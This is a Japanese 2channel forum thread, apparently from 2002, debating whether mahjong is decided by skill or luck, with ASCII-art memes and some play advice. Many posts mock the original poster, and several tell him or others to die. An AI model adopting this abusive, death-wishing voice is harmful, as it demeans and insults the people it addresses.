麻雀って実力関係あんの？

ほとんど、運じゃない？
君ら人の事ヘボヘボいうけど
なんか変わりあんの?
麻雀プロとかあるけどさぁ運がよかった人たちの事じゃないの?
ど素人だろうがなんだろうが先にリーチして先にツモりゃ
自称「巧い」人たちはなにもできないよね。
君タチにはﾜﾛﾀ（・∀・）

神　 超傑作　傑作　佳作　 良作　 凡作　 惜作　 不作　 駄作　超駄作　1ch逝き
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　　　　　　　　　☆ ﾁﾝ
　　　　　　　　　　　　　　　　　　　　
☆　ﾁﾝ　　〃　 Λ＿Λ　　　／￣￣￣￣￣￣￣￣￣￣￣￣￣
　ヽ　＿＿_＼（＼・∀・）　＜2げっと
　 　 ＼＿／⊂　⊂＿ )　　 ＼＿＿＿＿＿＿＿＿＿＿＿＿＿
　 ／￣￣￣￣￣￣ ／|
　 |￣￣￣￣￣￣￣|　 |
　 |　.佐賀みかん.　 |／

神　 超傑作　傑作　佳作　 良作　 凡作　 惜作　 不作　 駄作　超駄作　1ch逝き
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　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　このへんかしらん？　　

┏━━━ / ｜━━━━━┓
　　　 ┗┳┳━ |＿| ━━━┳┳┛
　　　 　 ┃┃ ／　　ヽ 　　　 ┃┃
　　　 ┏┻┻ |======| ━━┻┻┓
　　　 ┗┳┳ ヽ__ ¶_ ノ ━━┳┳┛
　　　 　 ┃┃　（／）　　　　　┃┃
　　　 　 ┃┃　（／）　　　　　┃┃
　　　 凸┃┃　（／）　　　　　┃┃凸
　　　 Ш┃┃　（／）　　　　　┃┃Ш
　　　 .|| ┃┃　（／）　　　　　┃┃.||
　　∧＿∧　　 （／） ∧＿∧　　∧ ∧
　 （　・∀・）　　（／）（´∀｀　）　 (ﾟДﾟ ) 　１が氏にますように
　 （つ　　つミ　（／）（⊃⊂　）　⊂　 ⊃
　　|＿|＿|＿�I（／）_|＿|＿|＿＿|　 |
　 ／／／／／ﾉ,,,,,,ヽ　／／／／||　 |〜
／／／／／／／／／／／／　 |∪∪
|￣￣￣￣￣￣￣￣￣￣￣|　　|
| 　 　　 　 奉　 納 　 　 　　 |

　　　　　　　 　　　　⊆ニ(二(ニニ⊇ 　　⊆ニ(二(ニニ⊇
　　　　　　　　.／￣￣￣￣￣/￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣ヽ
　　　　　　　／　＿＿＿＿/＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿ヽ
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　　　 _.,/.　(・Д・ )　| :::|//　(ﾟДﾟ　) ＜　>>1を迎えにきました
　　　|/,,,,,へ⊂　ヽ　 .// 　,/　　ノ/ ||＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿
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　　|~ ゜￣゜￣￣￣~~|￣￣　　　＝。|┃　　　　　　　|━━━━━...............|
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　._|]0::∴:::0::[二二il:]　　 　,-―-、 ,,|　　　　　　　 　|　　　　　　　.　　 　 [|
　|=＝＝＝＝= ;...........|　　/, ￣ヽ |~~|.　　　　　　　　|　　/, ￣ヽ |　　　 　{|
　ヽニ[＿]ヾニニヽ''''''|―-|.（※）|':|''''|.'''''''''''''''''''''''''''''|''''''''|.（※）|:|'''''''''''''''''/
　　　　　ゞゝ三ノ￣￣￣ ゞゝ＿ノ￣￣ゞゝ三ノ￣￣￣ ゞゝ＿ノ

|　　>>1の回収に来ました
＼　　　　　　　　
　 ￣￣V￣￣￣￣￣￣￣￣￣
　　　　　　　　 ＿＿＿＿＿＿＿＿　　　　　　　　
　　　　―――――――、 　 　　ヽヽ
.　　 /. ￣￣￣//.￣￣| ||＿＿＿＿ヽヽ　　　　　　
　　/.　 　　∧// ∧ ∧| ||　東京都 　ヽ ヽ　　　　　　　　　　　　　　
　[/＿＿__(ﾟ_//[ ].ﾟДﾟ,,) ||　清掃局　　|　　|
.　||_　　　 ＿|_|￣￣ ∪|.||￣￣￣￣￣|　　|
.　lO|――|O゜.|＿＿＿_|.||.-――――┴―|
　|_∈口∋￣_l＿＿ｌ⌒ｌ | | コ□ﾆ//ｌ⌒ｌソ

ルールにもよる

毎回このスレ立つと思うけど、じ

　　　　　｜｜｜｜｜　　 ＿＿ビギナーの登龍門＿＿＿_
　　　　　｜｜｜｜｜ ／＿＿＿＿＿＿＿＿＿＿＿＿＿／|
　　　　　　 ｜｜｜｜｜　 ＿＿＿＿＿＿＿＿＿＿＿　｜ ｜
　　　　　　　　｜｜｜｜｜　　　　　　　　　　　　　　　　| ｜ ｜
　　　　　　　　　　　 　｜｜ (* ﾟДﾟ)さん 投稿日：‐‐‐　｜｜ ｜
　　　　Λ　　 　 Λ　　 ｜｜氏ね！！　　　　　　　　　　|　| 　|
　　　 /　 ＿＿/　　　 ｜｜クソ厨房が！！　　　　　　| ｜ ｜
　　 /uｕ　||||||||||||＼　｜｜クソスレ立てんな！　　　　|　|　｜
　　｜∪u　U 　　 　|　｜｜逝ってよし！！カス！！ ｜｜ ｜
　　 ＼＿ｕ＿＿_ ／　｜｜＿＿＿＿＿＿＿＿＿＿＿| ｜／|
　　　／　　　　　＼　 ｜＿＿＿＿＿＿＿＿＿＿＿＿_／　｜
　　/　　　　　　　　＼｜　　　　　　　　Ａ：＝＝＝　　 　｜　／|＿_＿
　 ｜　　　　　　　　　　＼＿＿＿＿＿Ｂ：＝＝＝ ＿＿ |／　｜　　／）
　 ｜　　　　　 　　|＼　　＼�@�A�B�C�D�E�F�G�Hー　 ／　／　／／
　 ｜　　　　　 　 ｜　＼ｕＵ　））□□□□□□□　　／ ／　 ／／
　　|　　　 　　　　　＼ 　　 ）））＿＿＿＿＿＿＿＿／／　　／／
　　|　　　 　　　　　　　＼　　―――――――――　　　／／
　　　　　　　　　　　　　　　――――――――――――

　　　　　　∧＿∧　 　 　　∧＿∧
　　　　　_（　´∀｀）　　　　（´∀｀　）
　 三(⌒), 　　　ﾉ⊃　　　 （　１　　） 　 糞スレは・・
　　　 ￣/　/)　 ）　　　　　 |　|　　|
　　　 . 〈＿）＼_）　 　　　 （__（_＿_）

　　　　　　　　　∧＿∧　　.∧＿∧
　　　　　　　　 （　　´∀）　（´∀｀　）
　　　　　 　≡≡三 三ニ⌒)　１　 .） 　　立てるなって・・
　　　　　　　　/　 /)　 ） ￣.|　|　　|
　　　　　 　　〈＿_）＿_）　 （__（_＿_）

　　　　　　　　 　 ∧＿∧　 ,__ ∧＿∧
　　　　　　　　　 （　　　 ´）ノ　）:;:;)∀｀）
　　　　　　　　　 /　　　￣,ノ''　バ　　） 　言ったろーが！！
　　　　　　　　 Ｃ　　　/~　/　/ 　 /
　　　　　　　　 / 　 /　〉 （__（＿_./
　　　　　　　 　＼__）＼）
　　　　　　　　　　　　　　　　　　　　　 ヽ ｌ /／
　　　　　　　　　　　　∧＿∧(⌒) ―― ★ ―――
　　　　　　　　　　　 （　　　　） /|ｌ　　／/ | ヽ 　　ヴォケがーー！
　　　　　　　　　　　（/　 　　 ノｌ|ｌｌ ／　/　|　 ヽ
　　　　　　　　　　　 （Ｏ　　ノ 彡''　 　/　 .|
　　　　　　　　　　　　/　 ./ 〉
　　　　　　　　　　　　＼__）_）

　　　　　　　　　　　　　　　　　　　　　　　　　　サルでも　　　　　　　　　　　　　 　（　　(
　　　　　　　　　　　　　　　　　 　,,.ｒ'' ゛~~` ''ッ,,　　立てねーぞ　　　　　　　　　　　　) 　 ）
　　　　　　　　　　　　　　　　　､ ゛　 ,,,,,,,,,,,,,,,,,,,,, ヾ.　　 こんなスレ 　 　 　 ,.、　　　/ ／
　　　　　　　　　　　　　 　 　 ﾐ　　 ﾐ゛,へ.__, ,_ﾉヽ i.　　　　　 　 　 　 　 　 .| |l　　　l ,´
　　　　　　　　　　　　　　　 ﾐ　　　 ﾐ,　( ・) {・ﾌ 〉 ﾐ.　　　　　　　 　 ＿-､i::| |ニニii '
　　　　　　　　　　　　、,,,,ツi:　　　　 ﾐ,｀~´ ヽ~〈　 .ﾐ　　　　　　　　/,‐ヽヽ`､||
　　　　　　　　　　､ｼ`｀　　 i:　　　 　 ,ゞ 　'ｎ.inヽ. .ﾐ　　　　　　　　　　（ .〉〉/
　　　　　　　　　ｼ　 ／／　　　　　　ﾐ｀　　　 l.l　ヽ"、　　　　　 　 　／　 ノ
　　　　　　　 ﾐ/ ｼ　　　　　　　　 　 彡　,＝こ二=.{　ﾐ,,　　　　　 ,ｒ'´　,,､'゛
　　　　　 　 ﾐi. / 　/　　　　　　　' ! w､｀~^' vwｖ '､ 　 ﾐ 　 　 　〃　.ﾐ
　　　　　　 .ﾐ /　　　　 i: 　/　　　　　　｀＾^　　　　 ＼ ."　　　〃 　ﾐ
　　　　　　.ﾐ.:/　/　/　i:　　　　　　ｖ　　　　!　　,,　　　＼ ､　〃　　ﾐ
　　　　　　：i;　　　　 .i:　　　ｗ　　　　　　!!　　 ミ!:　　　ﾐ ＼＼(　⌒ヽ
　　　　　　:i;　　/ 　 i:　　　　　　!!　　　　　　 .ミ ｷ　 　 , ⌒｀、_　　)　 ）
　　　　　 :iｌ　　　　 .i:　　　　!　　　　ｗ!　　　 ミ　.:i.　　　（_ (　　_,ノ　　） ,
　　　　　:iｌ　　　!　 i:　　　　　　　　　　　! ,〃゛　　ｷ　　 　ゞ、 __,　 ノ ,
　　　　 .:iｌ　!　 　／~~｀｀``` " '''' ＝ ‐- ､ﾐ　　_,,,,_ﾐ,　　il　`　　ー　´
　　　　 :iｌ　　　´ ―　￣　- ,,. -‐‐-､、　ヽ. ヾ、　　ゞ､　`　 〃
　　　　　ゝ､ｗｘ.mn.!!++ナ'~ 　　　　　ヾ~ヽ、　ヽ、　,,　~^^}´
　　　　　　　　彡　　 〃　　〃　　　　 }｝　/〉.〉〉〉i''"　　 〃
　　　　　　　　　彡､ 　　　 ｛{　　　　 〃,__!////l |　 　 〃
　　　　　　　　　　 X,,　　　　》.　　　≪.__`‐'.' '´,Uwwvw'､...,,,___
　　　　　　　　　　　　＾＾＾＾ !ｗニこ)こ)二）｀) （＿,,,..- ､...二⊃_).)

牌は生きている！！！！！

　 |　>>1ってうざいよね〜
　 ＼　 ＿＿＿＿＿＿＿
　　　Ｖ
　 ∧＿∧∧＿∧ 　 ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　（　・∀・）´∀｀ ）＜　だよね〜、誰か頃してくれないかな？
　（　　　　）　　　 ）　 ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿　 ∧ ,∧
　｜ ｜　||　｜　|　　　　　　　　　　　　　　　　　　　　　　　　　　 (・д・,,)ﾍﾟｯ!!
　（_＿）＿）__（＿）　　　　　　　　　 　 ∧__∧?　　　　　　　　　　、'（＿＠
　　　　　　　　　　　　　　　　　　　　　（´⊇｀）
　　　　　　　　　　　　　　　　　　　　　（　１　）
　　　　　　　　　　　　　　　　　　　　　｜｜ |
　　∧ ∧ﾑｶﾑｶ　　　　　　　　　　　(（（＿）_）
　　(#ﾟДﾟ)￣￣　｀〜　　　　　　　　　　　　　　　　　　　∧ ∧
　　　 U U￣￣UU　　　　　　　　　　　　　　　　　　　　 (　　 )　ｲｯﾃﾖｼ!!
　　へ　　　　　　　　　　　　　　　　　　　　　　　　　　　　|　　ヽ
／　　 ￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
|　ったく、サルみてーに糞スレ乱立させてんじゃねーよｺﾞﾙｧ!!

運なし芸人

　　　　　　　　　　　　 _.z='':`':`':`:`:`ヾﾄyﾚL
　　　　　　　　　　　,ｨ'":::::::::::::::::::::::::::::::::::::::::::く`
　　　　　　　　　　ｿ::::::::::::::::::::::::::::::::::::::::::::::::::::≦
　　　　 　　　　　 }::::::::::::::::::::::ﾄlililｨ|:::::::::::::::::::::::ぐ
　 　 　　　　　　　}::::|.||:|:||:||:|| 　 　|}:||:|:||:||:::::::く`
　　　　　　　　　　}:::ﾄ| | | | | |　　　| | | | | |ｲ:::::ﾄ
　　　　　　　　　「^||　　　　　　　　　　　　　||^´lー-､
　　　　　　　　 人 '|　　　● 　 　 　●　　　| ノ:::::::::::ヽ
　　　_.. -‐'''¨::::::::iゝl　　　　　　　　　　　　 .lｲ::::::::::::::::::}
. ‐''"::::::::::::::::::::::::::ﾄ､:＼　　　　､_,.　　　　.へ:::::::::::::::::|::|　麻雀って実力関係あんの？
:::｀ヾ:::::::::::::::::::::::::::|::ヽ::::ヽ､　 　e　　 .／√{:::::::::::::::j:::|
::::::::::ヽ::::::::::::::::::::::::i::::ヽ､:rへ､＿__,. イ::/::::::::::::::::::::/:::|
:::::::::::::ﾐ､:::::::::::::::::::::::::::::::::::::::::ヽ､　　 |/:::::::::::::::::::::ｲ::::::|

　　　　　　lll　　ll　 ,　/::/.// /::::::::＼ヽヽ　　ヽ ヽ
　　　　　　///_.//::// ￣￣　ヾi,::＼　ﾄ|ヽ|　
　lll　　ll　//'　 /'`メ、　　　　,r'`ヽ::::ヽl　　　　　 ああ…
　　　　　/　====u== ≡　　/=u==== .|　　　　　無念…
　/'⌒| ll|:::::::`ｰ--‐'"　:::::::::::＼‐-‐'"　|　　　　　 無念だ…！
　| ｌ⌒|　|::::::ヾ~し'"ソ　::::U::::::::::＼ｰ'　|　　　　　 dat逝きは無念…
　.| |二|ll |:::::::::::`￣　ノ　r‐:::::::::::::::::ヽ､　　　　　　しかし…
　 | !　 |　|::::::／￣ ~　　　 ￣　　‐-- '　　　　　　仕方ないのさ…これも…！　　　　　
　 ヽこ, リ､::/:::::ﾑ──────‐‐i .|
　　　 /ﾐ :::＼::::::::::::::　　　　　　　　 　|　　　　　　思うようにいかねえことばかりじゃねえか…
　　　/ﾐ　 :::::::＼::::::U::::　ミ三彡　　 /　　　　　　 2ちゃんねるのスレの流れは…！
　　 /ﾐ　　　::::::::::＼::::::::::::::::::::::::::::::/　　　　　　　 不本意の連続…
　　/ﾐ　　　　 :::::::::::::＼::::::::::::::::::::/
　 /ﾐ　　　　　　::::::::::::::::＼::::::::::/;|`ｰ,
　　ヽ、　　　　　　:::::::::::::/;;ヽノ;;;;;;| ７

的をつかれたもんだから
みんなあせってンのかな?

運も実力のうちっていっちゃったらそれまでだけどね・・・
「巧い」ってことはそうとう運がいいんだな。みんな

１はそう思ってないからこのスレを立てたんだと思われ

運は実力のうちじゃないみたいですよ（麦）

>>1はこいつだろ
http://game.2ch.net/test/read.cgi/mj/1022536657/14

そうとう運が悪いんだな１は・・・
かわいそうに・・・

>>1
頭悪過ぎ。
多分何言っても理解できないだろうから
あえてマジレスはしないよ。
麻雀止めた方が身のためだよ。

>>1は間違いなく下級者

マジレスした奴は負け犬

　　　　　　　　　　　　　　　　　　　 　/　ｊｊｊｊ　　 　　　＿
　　　　　　　　　　　　　　　　　　　／　タ　　　 　 　{!!! _ ヽ､
　　　　　　　　　　　　　　　　　　,/　　ﾉ　　　　 　　　~ `､　 ＼　　 　　　　　＿
　　　　　　　　　　　　　　　　　　`､ 　`ヽ.　　／■＼　, ‐'` 　ﾉ　　　　　 ／　　`j
　　　　　　　 ／■＼＿　　　　　　＼　　`ヽ（ ´∀｀ ）"　.ノ／　　　　／　 /`ｰ'
　　　　　　　（　´∀｀）　￣"⌒ヽ　　 ｀､ヽ.　　｀`Y"　 　r '　　　　　 〈　 `ヽ
　　　　　　／ ） ヽ'　／　　　　､ `､　　　ｉ. ､ 　　￥　 　ﾉ　　　　　　　`､　　ヽ／■＼
　　　　 γ 　--‐　'　　　　λ.　; 　! 　　`､.` -‐´;｀ー ｲ　　　　　　　　　〉　　　　´∀）　　 　,-､、
　　　　 ｆ　 　､　 　ヾ　　　 ／　　　）　　　 ｉ 彡　ｉ　ミ/　　　　　　　　　/ ノ　　 ￣⌒ヽ　　 「　　〉
　　　　　!　　ﾉヽ､._,　'｀"／ 　_,.　'"　 　　　｝　　　　｛　　　　　　　　　ﾉ　　' L　　　　 `ヽ.／ 　/
　　　　　|　 ￣`ｰ-`ヽ 〈　 < _　ヽ.　　　 ／　　■ 　`＼　　　　　　／　, '　　 　ノ＼　　´　　/
　　　　 　!､＿＿,,,　　ｌ　,＼_,ソ　ﾉ　　 /　　　／ヽ、　　ヽ.　　　　 （　　　 　∠_　　　ヽ､＿, '
　　　　　　　　　　〈'_,/ /　　　／　 　/　　ノ　　　 ヽ.　 　）　　　　　ｉ　 ､　　　　　 ヽ
　　　　 　 　 　 　 　|　|　　イ-､__　　＼　 `ヽ　　 　{　 　ｆ　　＿,,　┘　 「`ー-ｧ　 　ｊ
　　　　　　　　　　　l.__|　 　｝_　　ｌ　 　　＼　＼　　 |　　i　 ｆ"　　　　　ﾉ　　　｛　　/
　　　　　　　　　　　＿.|　 .〔　ｌ　 ｌ　　　　ノ　　_>　 ｊ　　ｷ　|　　i⌒"￣　　 　/ 　/_
　　　　　　　　　　 〔＿＿＿! '--' 　 　 <.,,_／~　　〈　 　`、ヾ,,_」　　　　　　　i＿__,,｣

　　　　　　　　, -─‐-　､.
　　　　　　　 /　　　,r─--ゝ、
.　　　　　　 ,'　　　/　　　　--＼
　　　　　　 l　　　 ＼　　─‐-　 〉
.　　　　 　 l　　　i⌒ｉ|　 　 ━　/
　　　　 　 |　　　| h |!　　　　　｀ヽ　　 ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
. 　 　 　 │　　　ヽ._|　 _,ノ　 r_　_）　 |　初っ端AA貼る者いるか──・・・！？
　　　　　 |.　　　　/ |　　 l`====ゝ　　|　AA貼る者───・・・・！？
　　　　／＼　　 /　 l　　 ヾ=＝ﾃ　 ＜　なければわしからまいるっ・・・・！
　 　 ／＼.　＼/ 　　ヽ､.＿＿_,ﾉ　 　 |　わしが>>1だ　さあ貼ったっ・・・・！
　　/　　　 ＼.　＼　　　/　　　　　 　 |　貼ったっ・・・・・・！　貼ったっ・・・・・・！
　/　　　　　　＼　 ＼ /　　　　　　　　＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
/　　　　　　＿/ ＼　 l
　　　　　／　　 ｀ヽ.＼|

>>1にはﾜﾛﾀ（・∀・）

ﾊﾊﾊ
　 ∧＿∧　　／￣￣￣￣￣￣￣￣￣
　（　＾∀＾）＜　　あほか
　（ つ ⊂ ）　＼＿＿＿＿＿＿＿＿＿
　 .）　 ）　）
　（_＿）＿）　　　　　（＾∀＾）ｹﾞﾗｹﾞﾗ ｼﾈﾔｸｿｶﾞ

九割は運だね。「今日はついてたけど負けた。」とか聞いたことないからな。

非常に平仮名が多くて読みやすい>>1には好感を覚える。

卓球やれ。あれは実力の世界だ。

下手な1は即刻死んで。（笑）

>>32
ﾜﾗﾀ

　　　　　　　　ｒｰ､　　
　　　　｣´￣｀ｌｰ) ＼
　　　　Ｔ¨Ｌ　|_/⌒/　　　←　>>35
　　　　 ｀レ￣｀ヽ〈
　　 　 　 |　　i＿_1
　　　　　_ゝ_／ ノ
　　　 　 Ｌ__jイ´_　）
　　　　　　　 |　　ｲ
　　　　 　 　 |　　ﾉ--､ 　 　 　 　 　 ｒ'⌒ヽ_
　　　　　　　 ゝ､_＿_ﾉ二７　　／´￣l､＿,/}:＼
　　　　　　 　 |ｰi |　　 l_/　／__ｨ::.　 ゝ~_ィ´:;　,ゝ
　　　　　　　 __〉 {　　　 　 (Ｔ´ |1:::.　　＼_>､};;_｣
　　　　　　　'ー‐┘ 　 　 　 !　｀￣''ｧ一 ､＼　ヽ｝ ← >>1
　　　　　　　　　　　　　　　〈｀￣￣＾｀¬ﾉ .::〔￣´
　　　　　　　　 　 　 　 　 　 1　 ヽ 　 .:::レ　　ヽ、
　　　　　　　　　　　　　　　　|＿ｲｰ-､_;;j|_:.　　　ゝ、
　 　 　 　 　 　 　 　 __,,,... -- |. ｛―――‐ﾌゝ、 　 〉 -- ...,,,__
　　　 　 　 _,, -‐　´ 　 　 　 ,ｒ|__ﾄ,　　　　1ﾆﾉ ー'´　　　　　　 ｀　‐- ,,_
　　　 , ‐ ´　　　　　　　　　└―'´　　　　　　　　　　　　　　　　　　　　 ｀ ‐ ､

神　 超傑作　傑作　佳作　 良作　 凡作　 惜作　 不作　 駄作　超駄作　itokio街ｶﾃ逝き
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>>32
不意の突風とか

>>1
あるに決まってんだろ！
お前アホだな・・・ハァ

東１局で親倍に直った場合、その後の戦略おしえてください

>>39
なおった？意味不明也。

「ちょくった」と読め、というレスをしなければならない麻雀板

４１よ・・・

４０＞１＞普通の人　くらいの馬鹿さ加減だから諦めろ

39 ：焼き鳥名無しさん ：02/05/31 07:58
東１局で親倍に直った場合、その後の戦略おしえてください

正しくは
直られた場合
だろ。

直撃した。だから直ったでいいじゃん。よくないけど

実力が関係無いならなぜわたくしは毎回ラスなの？？

「それはおまえが下手だから」って言う意見はいらないよ
それだったら実力が関係あるってことじゃない

でも運の要素が強いと思うよ
だって麻雀の歴史はかなり長いけど競技として行われないじゃない
囲碁将棋のように「段」とか無いじゃない
麻雀はそういうものを作れないんだよね
ほとんどの場合、運がいいか悪いかで勝負がつくから

>>46
激しく同意

競技もあるし段もあるんだけどねえ。
ま、一般の認知度の低さが致命的だな。
とはいえ、強い弱いが無い、単なるジャンケンみたいな
運のみのゲームであれば、ここまで熱中する人もいるまい。
実力がすぐ飽和する、って言いたいのかもしれんが、向上
心を失った人で本当に強い人はいないと思うよ。強い人ほど、
より上を目指してる。
ところで、麻雀の性質からして、1半荘の勝敗で優劣を競える
ようなもんじゃないんだよね。打者の優劣が1打席の結果で
量れないのと同じで、1シーズンを通せばイチローと新庄の
打率は確実な差となって表れる。麻雀の場合、そういう確実な
差というものが表に表れてこないだけだ。

>>50
確実な差が表に出ないのなら実力は無関係と思いますが？

>>51

たとえば、イチローと新庄が全然別の地域の草野球の選手で、
それぞれ行き当たりばったりのチームと試合してたなら、
確実な差は表に出てこないよ。打者の実力差なんてものは、
長いスパンでの数字の差として表れてくるものだからね。

逆に言えば、麻雀でもはっきりした数字で（平均順位とか、
平均ﾎﾟｲﾝﾄとかだけでもいい）成績を管理すれば、実力の差は
はっきりした形で表すことが出来るだろう。
この差を持って生まれた運の差だというなら、世の中に実力
などというものはない。

>>53

じゃあもっと簡単な方法があるよね
めちゃくちゃ強いアルゴリズムをもったコンピューター３人と
麻雀を1000回くらいやって勝率８０％取れたらプロ５段
５０％ならプロ初段
３０％ならアマ３級って感じ。

こんな方法で決めたプロなら実力あるって言える？

>>54

いえる。
めちゃくちゃ強いアルゴリズムが本当に
めちゃくちゃ強ければね。
少なくとも、現状であいつは強いだの弱いだの
言ってるより、はるかに正確な実力の指標となりうる。

麻雀なんて運の絵合わせゲームだろ！
いまさらアホか

そうか・・・
下手なやつよ思ってた人は運がなかっただけなのか・・・
この世には運のねーやつがいっぱいいるから麻雀で金稼ぐの簡単だなー。

>>1
（ヒント）レインマンが麻雀覚えれば最強

>>1
(ﾟдﾟ)ﾊｧ?
あるに決まってんだろゴルァ！
貴方は麻雀を御存じですか？

>>1 君は上手い人と打った事があるかね？
たまには、実力者の後ろで観戦しなさいそれでもわからなければ
チンチロでもしてなさいってこった

面前ツモのみで、鳴きも役もドラも一切存在しなければ運だろうなあ・・
実際そんな事はないわけで。
まー個人的には配牌とツモのめぐり合わせが良くないと（そりゃ鳴きも含めてだが）
どうしたってあがれない、聴牌できないわけでそこのところを棚に上げて
俺は強い（・∀・）とか言う気にはなれないっす。

運だけだよ

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捨て牌と手牌をどう組み合わせてもダメな時が多々あるので
やっぱ運でしょ。

ゴルフだって運よくホールインワンが出されればプロ
でもどうにもならないからゴルフも運だけだよ

>>64
お前は運だけではタイガーウッズには勝てない

１は死ぬほどアホだな。
上手いヤツを後ろから見せてもらってみろや。
お前とはあきらかに牌をきる順番から違うから。
上手いヤツは運が悪くても大した負けはしない、何故か？
上がれないなら、他人にも上がらせないように鳴いたりして場の流れを変える。
んでチャンスが一度でも来たらソレを逃さずに上がる。
基本なんだがな。
貴様はそんなコトすらしてないんだろ？
イヤ、むしろできないんだろ？
ツモっては切りツモっては切り、自分の牌しか見えてない。
相手が相手の手牌のドコから何を切ってきたかとか視線とか見ててみろや。
相手の状況を把握して場を進めれるから。
まあ、初心者は最初そんなもんだ。
場数を踏めば自然と周りにも気を配れるようになる。
最初はカモられるのが当然だが上手くなるための手間賃とでも思っとけ。

ちなみにゴルフが運なわけねえだろ、死ねよ。
全てを計算した上でキチンとしたスイングからスコアは算出されるんだ。
それとも何か？　ゴルフやったコトない人間が運だけで勝てると？？
笑わせるなよ。

>んでチャンスが一度でも来たらソレを逃さずに上がる。
そりゃロン牌でたら上がるだろ。いくら>1がバカでもそりゃお前馬鹿にしすぎだろ。

>他人にも上がらせないように鳴いたりして場の流れを変える。
ブラフの清一で相手の手を縛るとか一発消しとかか？しかし鳴いたからといってツモが
変わるってのはおかしな考え方だぞ。どこに何あるかわかるのお前？こういう奴に限って
「オレの勘だと」とか言うんだよな。ニュータイプじゃあるまいし

>上手いヤツは運が悪くても大した負けはしない
何？「大した負け」って？負けは全部負けだよ。トップのチャンス狙わないで
2着狙いで満足か？カネカネいうなら麻雀なんてやらんで働けよ。

66じゃないけど
＞>んでチャンスが一度でも来たらソレを逃さずに上がる。
＞そりゃロン牌でたら上がるだろ。いくら>1がバカでもそりゃお前馬鹿にしすぎだろ。
完全に発言の趣旨からずれてるよね
チャンスを逃すか逃さないかの次元の話をしてるんだろ？
あがり牌が出た時がチャンスなんですか？

＞何？「大した負け」って？負けは全部負けだよ。トップのチャンス狙わないで
＞2着狙いで満足か？カネカネいうなら麻雀なんてやらんで働けよ。
1位以外は全部負けだと思ってるならこの発言も理にかなってるけどさ
3着と4着じゃとりあえず負けの大きさは違うよね

１はネタじゃないのか。。。

ネタに決まってるじゃん

当たり牌じゃなくって最初の手牌なんですが・・・。

念のため聞きますが麻雀はデジタルな確率のゲームと思ってますか？
オレの考えとしては少なからず流れというものはあると思ってますので、
どちらが正しいとかじゃなく、意見は合わないと思います。

ただ、仮にの話ですが、
対面の人がツモ牌をよく手牌に入れて手が進んでると思うときってありますよね？
そのとき自分のツモがよくない、（配牌もよくない）こんなときどうします？
無理っぽいと思っても面前ですすめますか？　オレ個人としては一応鳴いてみるんですが。
別にその結果として相手に上がられても自分としては納得できるんですよ。
自分から行動を起こしたとして。
ただ相手が上がるのを黙って見てて、その結果として上がられると、
やっぱりあのとき行動してればよかったなと後悔しちゃうんです。
まあ、コレはプレイスタイルの差だとは思いますが、
１さんの一番の問題はやはり牌の切る順番だと思うんですよ。

メンツの都合上で５人とかいたら１人余りますよね？
そのときに他人のを見るコトがあるんですが、
やっぱり切る順番とか鳴くタイミングがあきらかに違うんですよ、勝つ確率の高い人と低い人では。
そりゃ全くの同レベルの人間が麻雀をすれば運の問題だとは思います。
ただ、そういうことはありえないですよね？
クローン人間でもない限りは全く同じレベルに見えても僅かな差があったりしますし。
やはり、自分の意志でゲームを動かせることができるならば１００％運であるとは言えないと思います。

後、金かけても点１なので（ハコっても３００円）別段金なんぞ欲しいとは思ってません。
０でやるとドコかで負けても金かかってないからイイヤと思ってしまうコトがあります故にオマケ程度賭けてるだけです。
別段麻雀で儲ける気はございません。

後、２着狙いとかは別段しません、勝てそうなら勝ちにいきます。
ただ、持ち点１万、オーラスとかで役満狙うとか馬鹿げたコトはいたしませんが。

>念のため聞きますが麻雀はデジタルな確率のゲームと思ってますか？
>オレの考えとしては少なからず流れというものはあると思ってますので、
>どちらが正しいとかじゃなく、意見は合わないと思います。

この辺のことって結局どうなんだろなあ？ひとつ言えるのは山が完成した時点で
どこになにがあるか決定されてるってこと。そしてさいの目ひとつで自分の
手持ちが決まる。鳴きが入れば順番は変わる。そしてどこに何があるかは見てみないと
わからない。鳴いて流れを変えるってのは思い上がりのような気がする。個人的に。

本当に最悪の流れの時って、鳴くとドツボになるよな・・・

麻雀の実力っていうのは、その場その場の自分の運をMAXで使えるかどうか、だと俺は思うよ。

ドツボというより不調者の鳴きによって他の人に有効牌が
はいる事が多いと思う

age

ツキのみ

実力関係無い、運だけ

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還元率９５％〜９８％ですので初心者でも安心して遊べます。


　　　　　　　　　　　　

板違い

実力なんて関係ないよな。
俺東風でレート1100だけど、
観戦モードで超上級で打ってる奴ら見てると
すげー下手だもんな。
ツモや配牌が良くて勝ってるの。あいつら

負けても気持ちよく金払える奴が結局は勝ち組みです

>>65>>66そりゃそうだが>>1の言う「先にリーチして先につもりゃ」
とか言うのをゴルフに当てはめただけねだけどゴルフが
運だけなんて本気で思う奴はいないだろ？
麻雀もそれと同じ毎回先にリーチして、先につもれるわけなんてない
ただ麻雀ってのは運の要素が強いから実力が関係ないなんて
思えるだけ

流れって運じゃないの？
「今はこういう流れだから」って言う人いるけど

>>80
下手が上手を見てなんの評価をするというのか（ｗ
ちなみにツモが良いように見えるのは切り方が上手いからなのだよ

強くなれ
さすれば道は見えてくる

http://jbbs.shitaraba.com/sports/145/

>>77
激しく同意

>>85
だからどうやって？

>>88
ひたすら打て
そして考察しろ
考える頭はあるんだろ？

あんまかんけーねーな

ネタにマジレスしてる厨房がいるスレはここですか？

>>77
激しく同意

勝てば運、負ければ実力。

ほとんど運だな。ポーカーと同じくらい。

半チャンだけを見れば、運のような気がするが
なんせ麻雀は中国４千年が産んだゲームです。（笑）
つまり、実力を判定するには、なが〜〜い時間がかかるのです。
フリー雀荘でも「３ヶ月間のトータルトップ」とか「半年間の・・・」みたいな感じの張り出しをやってる
店もあるが、やっぱり巧い奴は常に名前が張り出されている。
下手な奴は毎日店に通っていても名前が無い。
やはり麻雀は、長期的に見れば実力は出る。
運だ、とか言ってるやつは負けた言い訳を、自分以外のものに「責任転嫁」してるだけ。

正直「ここぞ！」という所で力を発揮できるもんでもないしな。
長い目で見ろといっても人が見てるときにアピールできなきゃ実力実力
言ってもしょうがない。勝てれば別に運でもかまわない

運の一言に尽きる。うまいやつは代わりのとことで運がない。

